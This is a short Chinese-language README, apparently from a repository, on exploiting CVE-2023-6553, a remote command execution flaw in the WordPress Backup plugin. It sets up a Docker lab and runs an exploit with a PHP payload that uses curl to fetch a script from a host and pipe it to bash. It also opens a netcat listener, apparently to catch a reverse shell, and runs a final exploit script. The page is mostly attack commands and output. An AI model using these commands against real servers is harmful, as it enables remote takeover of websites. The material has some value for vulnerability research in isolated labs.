harshit-mashru/cve-2023-6553针对WordPress备份插件中CVE-2023-6553的漏洞利用开发
针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发
这是一个严重级别的CVE，CVSS评分为9.8
该漏洞允许攻击者向运行受影响版本插件的服务器发送命令
受影响版本 Backup <= 1.3.7
git clone 仓库
运行以下命令来设置Docker容器
docker-compose up -d
你应该会看到两个Docker容器
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
这是因为经过过滤器转换后，请求头的长度超出了服务器限制。
nc -nlvp 8080
然后运行以下命令来利用存在漏洞的插件
python3 final_exploit.py